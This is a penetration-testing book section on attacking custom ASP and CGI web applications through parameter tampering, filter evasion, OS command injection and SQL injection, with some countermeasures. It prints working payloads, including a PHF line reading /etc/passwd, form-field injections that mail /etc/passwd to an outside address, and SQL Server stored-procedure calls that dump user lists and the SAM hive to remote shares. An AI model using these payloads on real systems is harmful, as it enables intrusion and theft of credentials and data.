6.6 Assessing CGI Scripts and Custom ASP Pages

All the large e-commerce and online banking environments that I compromised recently have been broken through abuse of custom-written ASP and CGI scripts. Nowadays, it is relatively straightforward for a company to perform its own initial security testing to negate all the obvious risks that are exploited by propagating worms and opportunistic attackers, but application-level risks are left unchecked.

Custom scripts and ASP pages that create dynamic e-commerce and online banking environments are difficult to secure. Often it is the case that the developer who has written the ASP pages has little secure-programming experience, so doesn't truly understand the threats posed to his code from determined attackers.

Sometimes there are very small vulnerabilities in web environments, which can be combined to result in a full compromise. For example, you can combine filter evasion with an unbounded file call to create an ASP page or CGI script in an executable directory, and then call it directly.

The Apache Foundation web site (http://www.apache.org) was compromised in a similar way in May 2000: an attacker uploaded a simple PHP script to a directory under ftp.apache.org that also existed on the web site. From there, the PHP script was called and executed, creating a backdoor to the Apache web server. MySQL was found running as root, so it wasn't long before the attacker had super-user privileges and defaced the site. For a more in-depth analysis of this compromise, check out:


Defense in depth is required to prevent compromise from determined attackers who exploit a series of small vulnerabilities. In the Apache case, MySQL shouldn't have been running as root, and the FTP directory structure should not have been directly linked to the accessible web site.

I discuss individual vulnerabilities that are often exploited to gain various degrees of access to a web environment. From an external perspective, the following major threats are present:

  • Parameter manipulation and filter evasion

  • SQL and operating system command injection

  • Error-handling problems

The Open Web Application Security Project (OWASP) team have written some excellent papers that cover in-depth testing and resolution of problems within custom-built web applications. If you require further information relating to web application security (such as details of cross-site scripting vulnerabilities or issues relating to access control), check out http://www.owasp.org.

6.6.1 Parameter Manipulation and Filter Evasion

When providing input to a script or web application running server-side (such as a search engine, feedback form, or online ordering system), the following parameters are open to manipulation:

  • URL query strings

  • User cookies

  • Form fields

The following sections demonstrate and highlight the risks presented by manipulating each parameter. Many custom-built web environments are vulnerable to these types of attack. URL query-string manipulation

When browsing sites written in ASP or similar scripting languages, such as PHP, arguments often can be read from the URL of the current page. Usually, these arguments define filenames, database values, or other indexed information server-side, so that pages can be dynamically prepared and presented. Figure 6-16 shows the web application running on the Ticketmaster U.K. site.

Figure 6-16. The Ticketmaster U.K. site

On the Ticketmaster site, an attacker can modify the category value to point to a different file or database value. Simple URL manipulation is often the first thing a moderately determined attacker does to understand the site and its security mechanisms. The Ticketmaster site fails safely when provided unexpected input to the ASP scripts, simply presenting a blank template as shown in Figure 6-17.

Figure 6-17. The Ticketmaster application fails safe

Search engines and other interactive scripts and processes that run server-side and present results back to web clients can often be abused by simply manipulating the URL string through a web browser. However, in some cases, attackers have to manipulate cookies and form values. User cookie manipulation

Cookies are used in most enterprise web environments. Their purpose is to store session information on a user's system that can be later siphoned by the web server when that user returns to the site. Cookies are extremely useful to e-commerce sites because they can personalize the browsing experience.

Part of a cookie stored on my home system from microsoft.com is as follows:









Each time I visit the Microsoft site, these values are sent to the remote server. In the case of poorly developed e-commerce sites, prices of goods may be stored in a cookie, which is then read by the checkout application to calculate billing information.

In environments where it is known that such cookie strings are being processed by backend SQL servers or being run through system( ) or fopen( ) functions, an attacker can use escape-character sequences to manipulate the string and run arbitrary commands on the target host. Table 6-7 lists the characters you should attempt to use when assessing such vulnerabilities.

Table 6-7. Common web escape characters






Pushes data into a command argument



Takes data from a running process



Pushes data into another command



Runs a second command


Hex-encoded NULL

Terminates a string within many languages Form field manipulation

A live example I use when presenting my applied hacking and countermeasures courses is of a certain bank web site. The only interactive area of the entire site is its search engine, which has the following HTML source on the search.html page:

<FORM METHOD="POST" ACTION="../cgi-bin2/dialogserver.exe">

<P><A NAME="top"></A> </P> 

<P><FONT SIZE="3"><B>Search the Bank Website<BR>


<P>Search: <INPUT SIZE="25" NAME="QUERY00">

<INPUT NAME="submit" ALT="go" TYPE="IMAGE" SRC="../images/go.gif">



The search engine interface on the web server is /cgi-bin2/dialogserver.exe. The executable takes two arguments in this case, named QUERY00 (the search string) and DB (the database with which to cross-reference the search string).

I can directly perform searches through a web browser by providing this URL:


Figure 6-18 shows the results.

Figure 6-18. Querying the search engine directly

By attempting to specify a different DB value and traverse back through the filesystem of the server, I get the error message shown in Figure 6-19.

Figure 6-19. Search engine error from providing a malformed query

This information is potentially useful to a determined attacker. She now knows the search engine software used (Muscat K-Working) and that the search engine appends \html\ onto the end of the DB value provided.

The benefit of providing these arguments in a raw fashion to the dialogserver.exe executable is that limitations imposed within the HTML on string lengths are bypassed, which potentially allows an attacker to exploit overflow vulnerabilities. Insight into hidden input values (in this case the DB value) is also very useful in poorly configured environments.

This bank shouldn't allow the DB value to be specified by the user and should only process the QUERY00 argument against a hardcoded database name. In many cases, far too much leeway is given to the user in terms of providing arbitrary data and information to such interactive systems. Filter evasion

As covered previously in this chapter when exploiting Microsoft IIS HTR, HTW, and Unicode vulnerabilities, certain character sequences can evade known filtering mechanisms that process URL query strings, cookies, and form data.

Filter evasion is sometimes an important part of hacking custom web applications. If an attacker knows that a web application takes a page ID value and appends .html to it (thus limiting data that can be compromised to HTML files), he can attempt this request:


By traversing back through to the /etc/passwd file and specifying a hex-encoded NULL character (%00), the .html string isn't appended, because most programming languages terminate their strings with NULL values.

Hex-encoding characters within filenames can also work effectively. For example, to access /etc/passwd, an attacker can use either of the following:



Filter evasion can take many forms depending on the web application and how it processes data. In particular, %00 and %0a character sequences are useful, along with hex-encoded values, to replace common escape and redirection characters that may be filtered and checked for.

6.6.2 Error-Handling Problems

Error-handling problems arise when the ASP script or custom-built web application at hand receives unexpected input and crashes or fails to operate correctly. Many IIS web servers are configured to produce debugging information back to the browser in the event of a malfunction, containing DSN connection strings such as these:



Within a global.asa file these strings define the user ID and password details that connect to backend SQL databases. In such complex environments, an attacker only has to cause the web application to fall over to produce this kind of debugging information. Ideally, sites should fail safe and not present any information when a script fails to run correctly, as seen with Ticketmaster in Figure 6-17.

6.6.3 Operating System Command Injection

In some cases, you can execute operating system commands through an insecure web application. Commonly, these commands can be defined through HTML forms, URL parameters, or even cookies. The commands typically will execute with the same privileges as the application component or web service.

System commands are a very convenient feature within web application programming. With little effort, it is possible to add file handling, email access, and other functionality to a web environment.

Before attempting to undertake operating system command-injection attacks, it is imperative that the underlying operating platform is known (whether Unix-based or Windows NT). Depending on the underlying platform, different commands and techniques are used to compromise the system.

Depending on the programming language used and the underlying operating system, an attacker can perform the following actions through command injection:

  • Run arbitrary system commands

  • Modify parameters passed to system commands by the web application

  • Execute additional commands Run arbitrary system commands

Often escape characters allow an attacker to gain access to the underlying operating system. Here is an example of the dated PHF exploit string:


The PHF script is simply a Unix shell script for looking up phonebook entries. In this case, I provide the argument Qalias=x%0a/bin/cat%20/etc/passwd to the PHF script. %0a is a hex-encoded line-feed value, which simply allows for execution of the /bin/cat /etc/passwd command (%20 is a hex encoded blank space) by the underlying operating system. Modify parameters passed to system commands

Many sites have email scripts that are used to mail users with feedback or comments through a relevant web server form. Often, the underlying Perl code running on a Unix platform looks something like this:

system("/usr/bin/sendmail -t %s < %s",$mailto_address,$input_file);

A system( ) call is used to run the sendmail command with certain arguments to email the comments and feedback to the administrator. The accompanying HTML code presented to users when they visit the web site and fill out the feedback form will look something like this:

<form action="/cgi-bin/mail" method="get" name="emailform">

<INPUT TYPE="hidden" NAME="mailto" VALUE="webmaster@example.org">

An attacker can compromise the server /etc/passwd file by modifying the mailto value:

<form action="/cgi-bin/mail" method="get" name="emailform">

<INPUT TYPE="hidden" NAME="mailto" VALUE="chris.mcnab@trustmatta.com

< /etc/passwd">

In this case, I use the shell redirect character (<) to read the /etc/passwd file and mail it to me when the sendmail command is run server-side. A form field manipulation exposure also exists in this case because I can spam email through this feedback form to arbitrary addresses. Execute additional commands

Two Unix shell escape characters that can execute additional commands through a poorly written web application are the pipe character (|) and the semicolon (;). It may be the case that an attacker can't manipulate arguments, but by using a semi-colon or pipe character, the attacker can often execute arbitrary commands afterwards.

The sendmail system( ) command manipulation example was exploited using a redirect to pipe the contents of the /etc/passwd file into an email:

<form action="/cgi-bin/mail" method="get" name="emailform">

<INPUT TYPE="hidden" NAME="mailto" VALUE="chris.mcnab@trustmatta.com

< /etc/passwd">

Even if the script isn't vulnerable to this attack (through proper checking of the mailto address or stripping of redirect characters), an attacker can append a command in the following manner:

<form action="/cgi-bin/mail" method="get" name="emailform">

<INPUT TYPE="hidden" NAME="mailto" VALUE="webmaster@example.org; mail 

chris.mcnab@trustmatta.com < /etc/passwd"> Operating system command-injection countermeasures

All user-provided input to web applications should be correctly checked and sanitized before being passed to low-level functions such as system( ) or fopen( ). Table 6-8 lists dangerous character strings.

Table 6-8. Dangerous character strings






Pushes data into a command argument



Takes data from a running process



Pushes data into another command



Runs a second command


Hex-encoded linefeed

Runs a new command


Hex- encoded carriage return

Runs a new command

You should avoid having unnecessary user input in which variables are specified within the HTML form. You should use hardcoded filenames and variables (such as email addresses), whenever possible, to ensure resilience and integrity.

6.6.4 SQL Command Injection

SQL injection is a technique with which an attacker modifies a user-defined URL string that he knows will be processed by a backend SQL server. In much the same way attackers use shell escape and redirection character strings to perform operating system command injection, certain SQL strings (such as ' ; --) allow for arbitrary SQL commands to be run on the backend SQL server. Sensitive data can be compromised, and system commands can be run, depending on the database server software in use.

Web applications using backend SQL databases can be exploited in several ways. The three main types of attack involve:

  • Bypassing authentication mechanisms

  • Calling stored procedures

  • Compromising data using SELECT and INSERT

SQL injection vulnerabilities and exploitation techniques can't be tested for easily using automatic tools and systems. To assess an environment for SQL injection problems, a code review of the underlying web application is required.

SQL injection is difficult to undertake because it relies on an understanding of both SQL and web application development. The best web application security analysts I know have a strong enterprise web development background, with practical knowledge of scripting languages, such as ASP, and an understanding of SQL databases and their respective command syntax.

The eXtropia web site has an excellent SQL tutorial available at http://www.extropia.com/tutorials/sql/toc.html. I highly recommend that you run through the tutorial before attempting full-blown SQL injection testing. Basic testing methodology

A simple way to test Microsoft IIS ASP scripts using backend Microsoft SQL databases (such as SQL Server 2000) is to modify URL and form values to include SQL escape sequences and commands. Let's say that the ASP script you want to test takes the following input when you browse the site:


Modify both StoreID and ProductID values to contain a SQL escape sequence along with an OR command ('%20OR), as follows:



SQL injection is possible if an ODBC error is presented, as follows:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 

[Microsoft][ODBC SQL Server Driver][SQL Server] Unclosed quotation

mark before the character string ' OR'. 

/store/checkout.asp, line 14

Microsoft IIS and SQL Server environments are relatively straightforward to test in this fashion; simply replace all URL and form arguments with '%20OR SQL escape and command sequences, and look for raw ODBC error messages to be returned.

In polished enterprise web environments, ODBC error messages are often not returned; what is returned are custom 404 or 302 HTTP page redirects that bring you back to the front page of the site in a fail-safe manner. Some web applications will fall over and display a 500 internal server error message, which probably means that injection is occurring. Even if you don't get the ODBC error, you should at least attempt basic SQL injection to ensure that the server is moderately secure.

If the target web server is running Microsoft IIS with ASP script, it's highly probable that a backend Microsoft SQL Server is in use. If this is the case, calling stored procedures is a good place to start when checking for SQL injection issues. Calling stored procedures

Calling stored procedures is often the most damning type of attack that can be launched through SQL injection. A default install of Microsoft SQL Server has over 1,000 stored procedures. If you can get SQL injection working on a web application that uses Microsoft SQL Server as its backend, you can use these stored procedures to compromise the server, depending on permissions.

The first thing you should note regarding stored procedure injection is that there is a good chance there won't be any output. Often the database server is a different machine, segmented from the frontend presentation tier, so the commands you run by calling stored procedures are executed on the backend database server.

The following useful stored procedures are found in Microsoft SQL Server:

  • xp_cmdshell

  • sp_makewebtask

  • xp_regread xp_cmdshell

Any DOS command is issuable through xp_cmdshell, including directory listings, Windows net view and net use commands, and outbound TFTP file transfers. The transact SQL syntax of the xp_cmdshell procedure is as follows:

EXEC master..xp.cmdshell "<command>"

If I take an ASP script that I know is querying a backend Microsoft SQL database server, I can append a single quote and call the xp_cmdshell stored procedure in the following way:



To satisfy syntax requirements in more quoted vulnerability cases, a valid ProductID argument is supplied (12984), followed by a quote ('), the SQL stored procedure call, and no quote to close the query. The %20 values are hex-encoded blank spaces, which are decoded by the web server. I can also use double-quotes between xp_cmdshell and ping.exe (mileage varies).

Through xp_cmdshell I issue a ping command. Using outbound ping in this fashion you can determine if SQL injection and stored procedure calling is actually working because I can monitor traffic into my token host for ICMP traffic from the target network. As noted previously, these commands are often run on backend SQL servers that aren't directly accessible from the Internet, so a degree of imagination is required. sp_makewebtask

With the sp_makewebtask procedure you can dump results of SQL SELECT commands to HTML files in tabular form, thus recreating specific areas of databases within HTML. The syntax of the sp_makewebtask procedure is as follows:

EXEC master..sp_makewebtask "\\<IP address>\<shared folder>\out.html"


As you can see, its arguments are an output file location and an SQL statement. The sp_makewebtask procedure takes a SQL query and creates a web page containing its output. You can use a UNC pathname as an output location, to deposit the resulting HTML file on any system connected to the Internet with a publicly writable NetBIOS share.

The query argument can be any valid transact SQL statement, including execution of other stored procedures. For example, I construct an sp_makewebtask command as follows:


"\\\pub\net.html", "EXEC%20master..xp_cmdshell

%20'net users'"

The net users command runs server-side, and an HTML file is created within a publicly accessible share containing the server name and details of user accounts. If this command doesn't run, try removing the last double-quote or using a plus (+) instead of a hex-encoded space (%20) to represent blank spaces.

You need to understand transact SQL to use the sp_makewebtask procedure in complex environments because crafted SELECT * commands should be issued to dump specific database tables (such as customer name, address, credit card number, and expiry date tables within an e-commerce backend database). xp_regread

The xp_regread procedure allows you to dump registry keys from the database server to obtain encrypted password strings for software such as VNC, or the Windows SAM database (if SYSKEY encryption isn't in use). To dump the SAM from the registry, issue the following command:

EXEC xp_regread HKLM,'SECURITY\SAM\Domains\Account','c:\temp\out.txt'

The contents of the HKLM\SECURITY\SAM\Domains\Account key are dumped to c:\temp\out.txt, which then is transferred out of the environment using TFTP, NetBIOS, or similar mechanisms.

To issue this command through a web browser to a vulnerable ASP script, I use the following URL:

/price.asp?ProductID=12984';EXEC%20xp_regread 'HKLM','SECURITY\SAM\Domains\


Placement of the final quotation mark may or may not be useful, depending on the ASP script and the way it constructs its transact SQL statement. Compromising data using SELECT and INSERT

Non-Microsoft database servers such as DB2, Postgres, Oracle, and MySQL don't have as many default easy-to-use stored procedures (if any), so without the luxury of stored procedures that give operating system access, traditional transact SQL queries such as SELECT and INSERT must be issued to read and modify database fields and tables.

The format is nearly identical for SQL injection using SELECT and INSERT queries, depending on exactly how the ASP script processes the query:


Again, use of a quote after the SQL SELECT query depends on how the web server is building the transact SQL query string before passing it to the backend database server. It may be that plus signs are more effective than hex-encoded blank spaces (%20's).

An INSERT command could be issued in a similar fashion to modify the CreditCards details within the database, using this URL:



To assess SELECT and INSERT issues in enterprise environments competently, you need a good understanding of SQL and web development of scripts that communicate with such backend databases.

6.6.5 Web Application Assessment Tools

By using web proxy and session analysis tools when you are browsing and interacting with a target custom-built web environment, you can to undertake a very efficient assessment by testing for obvious issues and identifying areas of interest quickly. The following proxy-based tools are worth evaluating for use within web application security-review exercises:

  • Achilles (http://packetstormsecurity.org/web/achilles-0-27.zip)

  • @Stake WebProxy (http://www.atstake.com/research/tools/index.html)

  • Exodus (http://home.intekom.co.za/rdawes/exodus.html)

  • SPIKE Proxy (http://www.immunitysec.com/spike.html)

Here are two freely available direct assessment tools that scour a target site and its accessible scripts for obvious flaws (such as SQL injection, HTTP GET and POST input validation attacks, etc.):

  • Form Scalpel (http://www.ugc-labs.co.uk/tools/formscalpel/)

  • WebSleuth (http://sandsprite.com/Sleuth/)

Web application assessment methodologies vary depending on the type of web environment you are testing. I highly recommend that you try all the tools and techniques I've listed here and read further into SQL injection or URL manipulation if you wish to test for issues in details and if you require assurances. Achilles

The now defunct Digizen Security group published Achilles, an extremely easy-to-use web proxy that allows attackers to modify client web requests (such as HTTP GET and POST) before they are sent to the target server. After downloading Achilles from Packet Storm (http://www.packetstormsecurity.org) and running the executable, reconfigure your web browser to use as its web proxy. From here, you can manipulate client web requests on the fly, as shown in Figure 6-20.

Figure 6-20. Using Achilles to modify and send client data on the fly